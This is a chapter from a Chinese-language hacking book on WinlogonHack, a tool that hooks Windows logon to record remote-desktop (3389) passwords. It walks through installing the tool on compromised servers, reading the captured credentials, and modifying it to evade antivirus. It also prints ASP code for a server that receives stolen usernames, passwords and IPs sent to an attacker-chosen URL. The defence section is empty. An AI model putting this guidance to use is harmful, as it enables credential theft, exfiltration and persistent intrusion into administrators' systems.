1.13 使用WinlogonHack获取系统密码

在网络安全事件频发的今天,很多人都在抱怨:为什么我的系统被入侵了,我的主页被修改了?在被入侵后,我采取了一些安全加固措施,可是没过几天又发现系统被入侵了!分析其根本原因,就是系统存在安全隐患,可能是没有彻底清除系统后门,可能是系统的密码一直都掌握在黑客手中。下面将全面分析远程终端密码的获取和防范。

1.13.1 远程终端密码泄露分析

下面介绍远程终端密码泄露分析的相关内容。

1.远程终端技术App

大型企业一般都部署了远程终端,微软的服务器操作系统Windows 2008 Server更是重点打造了远程终端。远程终端技术App是Windows Server 2008中新的远程应用演示方法,在一些远程连接参数上进行了调整,增加了新的功能,据说其性能也有较大提高。

2.远程终端密码泄露分析

在大型网络中,由于网络环境复杂,因此服务器之间往往通过远程终端进行维护和管理。这种管理在方向上不太固定,多数是发散式的,有的通过一台主机登录多台主机,有的通过多台主机登录一台主机,还有的可能出现交叉登录的情况。黑客在入侵网络中的主机后,肯定会想办法收集网络内部或者与外部独立主机之间进行远程终端登录的用户名和密码,收集方法不外乎以下3种。

当然,除了以上3种方法外,还有其他一些密码泄露途径。

1.13.2 WinlogonHack获取密码的原理

WinlogonHack截取密码的原理介绍如下。

1.gina.dll与msgina.dll

gina.dll在Windows NT/2000中的交互式登录支持由winlogon.exe调用gina.dll实现。gina.dll的交互式界面为用户登录提供认证请求。winlogon.exe与gina.dll进行交互,默认是msgina.dll(在system32目录下)。微软提供了接口,让开发人员自己编写gina.dll来代替msgina.dll。

不知道出于什么原因,gina.dll在Windows XP及后续版本中不再出现,原来的gina.dll改为msgina.dll(“ms”表示微软)。

msgina.dll在Windows XP系统中默认为967 680字节(945KB),在Windows 2003中为1 180 672字节(1 153KB)。若文件大小出入较大,则可能存在问题。

2.msgina.dll文件被破坏或修改将导致严重错误

在DLL知识库(http://www.dofile.com/dlllibrary/msgina/)中是这样描述的:msgina.dll是Windows登录认证策略相关模块,该模块用于完成所有用户的登录和验证功能,如果系统中的这个文件被修改或者破坏,将导致系统无法使用3389端口进行登录。如图1-77所示,这个系统的msgina.dll文件就被破坏了,从而导致用户无法远程登录3389终端服务器。

0075-1

图1-77 msgina.dll 被破坏或修改导致无法登录远程终端

3.WinlogonHack截取密码的原理

WinlogonHack通过挂钩系统中msgina.dll的WlxLoggedOutSAS函数记录登录的账户密码。WinLogonHack初始化时会创建如下3个桌面。

默认情况下,gina.dll或者msgina.dll用于显示登录对话框,用户可以输入用户名和密码。所以,要想获得用户名和密码,可以写一个新的gina.dll或者msgina.dll,其中提供接口调用msgina.dll的函数是WlxLoggedOutSAS。启动就用winlogon.exe通知包,当有3389连上服务器时,新建的winlogon.exe会在登录前加载,注册了“Startup”的DLLHook了函数。登录成功后,会将密码记录到boot.dat文件中,并取消Hook。退出3389终端后,即可将DLL文件删除。在实现时,只要获取msgina.dll中WlxLoggedOutSAS函数的前5字节即可,示例如下。

mov edi,edi 
push ebp 
mov ebp,esp 

1.13.3 使用WinlogonHack获取密码实例

使用WinlogonHack之前,可以使用Gina木马获取Windows 2000中的密码。WinlogonHack主要用于截取Windows XP及Windows 2003 Server。

1.执行install.bat安装脚本

一种方法是将WinlogonHack的安装程序文件hookmsgina.dll、install.bat、on.reg、readlog.bat复制到同一个文件夹下,在DOS提示符或GUI界面直接运行install.bat。执行完毕不需要重启,当有3389终端登录时,会自动加载DLL文件并记录登录密码。密码保存在系统system32目录的boot.dat文件中。

另一种方法是将所有文件都放在同一个文件夹中,然后执行install命令,如图1-78所示是WinlogonHack正确安装的一些提示。

0076-1

图1-78 远程安装WinlogonHack获取3389登录密码

2.查看密码记录

可以直接打开boot.dat文件查看,也可以运行readlog.bat脚本,然后将密码文件移动到当前目录中查看。本例中的操作系统是Windows 2003 Server,直接通过Radmin的Telnet,然后执行“dir boot.dat /a”命令,查看是否有人进行了远程登录。如图1-79所示,boot.dat文件的大小为5 762字节——有货!使用“type boot.dat”命令可以看到记录的登录时间、用户、域名、密码及旧密码(出现两个密码主要用于用户更改了密码的情况)。

0077-1

图1-79 查看密码记录文件boot.dat

3.卸载WinlogonHack

运行uninstall.bat文件即可自动卸载该程序。如果“%systemroot%\system32\ wminotify.dll”文件未能删除,可以重启后再将其删除。

1.13.4 WinlogonHack攻击与防范方法探讨

下面我们讨论WinlogonHack的攻击和防范方法。

1.攻击方法探讨

(1)定制化开发

WinlogonHack的代码是开源的,因此,入侵者可以定制它,即在“lstrcat(LogPath, "\\boot.dat");”语句中将“boot.dat”换成任意一个文件。执行WinlogonHack后,一般人员很难发觉。入侵者还可以在此基础上增加一个邮件发送功能,将记录下来的3389远程终端用户名和密码发送到指定的邮箱,笔者在安全加固过程中就曾经碰到具有这种功能的3389密码截取木马。

(2)对WinlogonHack软件进行免杀处理

0078-1

图1-80 杀毒软件会自动查杀wminotify.dll文件

由于WinlogonHack在网络入侵中扮演了一个重要的辅助角色,所以一些杀毒软件会自动查杀wminotify.dll文件。如图1-80所示,笔者在做实验时,avast! 杀毒软件就能将其查出,并作为病毒处理。因此,可以通过增加花指令、修改特征码等方法修改wminotify.dll文件,使其能够绕过杀毒软件。

(3)WinlogonHack在攻击中的应用

WinlogonHack主要用于截取3389登录密码,因此,在被入侵计算机上运行MSTSC后,如果发现MSTSC的“计算机”列表中出现多个登录IP地址,如图1-81所示,那么该计算机就有安装WinlogonHack的必要,从而记录在服务器上管理员所登录的3389用户名和密码。

0078-2

图1-81 获取3389登录地址列表

2.防范方法探讨

1.13.5 使用WinlogonHack自动获取密码并发送到指定网站

使用WinlogonHack自动获取密码并发送到指定网站的步骤如下。

01 配置Winlogon劫持记录3389密码生成器

互联网上有很多Winlogon劫持记录3389密码生成器,如图1-82所示。运行其配置程序,在“收密码地”文本框中输入地址,如“http://www.asm32.com/post.asp”,其中post.asp为密码接收文件。单击“生成”按钮,会在当前目录下生成一个EXE文件,该文件中包含WinlogonHack的所有安装文件。

0079-1

图1-82 配置接收文件地址

02 上传密码接收文件

将以下代码保存为3389.asp,并将其放在一个可以访问的网站目录下,同时必须让3389.asp具有写文件权限。

<% 
  Dim   ValidEntry   
   ValidEntry   =   True    
  If   not   IsEmpty(Session("LogIn"))   then   ValidEntry   =   False    
  If   ValidEntry   Then      
  Const   ForAppending   =   8    
  Const   Create   =   true    
  Dim   FSO    
  DIM   TS    
  DIM   MyFileName    
  'Dim   strLog    
  Dim   strTime,strUrl,strOporation,strUserAgent    
  MyFileName   =   Server.MapPath("myIP.txt")    
  Set   FSO   =   Server.CreateObject("Scripting.FileSystemObject")    
  Set   TS   =   FSO.OpenTextFile(MyFileName,   ForAppending,   Create)    
 strUrl=Request.ServerVariables("REMOTE_ADDR")   &amp;   "   "    
  Ts.writeline   "----分割线----"    
  Ts.writeline   "服务器IP:"&amp;strUrl    
  Session("LogIn")   =   "yes"    
  Set   TS   =   Nothing    
  Set   FSO   =   Nothing    
  End   If    
num=request("user") 
pass=request("pass") 
hxip=request("ip") 
set fs=server.CreateObject("Scripting.FileSystemObject") 
set file=fs.OpenTextFile(server.MapPath("IP.txt"),8,True) 
if hxip <>"" then 
file.writeline num+"----"+pass+"----ip:"+hxip 
else 
file.writeline num+"----"+pass 
end if 
file.close 
set file=nothing 
set fs=nothing 
%> 

03 查看本地密码记录文件

在测试服务器上执行EXE文件。需要特别注意的是,由于网上的软件有可能捆绑了木马程序,所以所有生成的EXE文件最好在虚拟机上运行,这样做不会破坏实体机。执行EXE文件后,需要打开mstsc.exe(即远程终端),登录127.0.0.1。登录成功后,在c:\windows\system32\ 目录下运行“dir /od”命令,即可看到Winlogon劫持记录3389密码工具软件释放的4个程序,分别是install.bat、wminotify.dll、On.reg和wpa.dbl。使用“type boot.dat”命令即可查看所记录的密码及发送记录,如图1-83所示。

0081-1

图1-83 获取密码记录

04 查看网站记录文件

访问网页记录文件所在的服务器,直接打开ip.txt文件,或者访问类似于“http:// www.antian365.com/ip.txt”的地址。如图1-84所示,文件中记录了远程终端服务器的IP地址、用户名及密码信息。

0081-2

图1-84 查看网站密码记录文件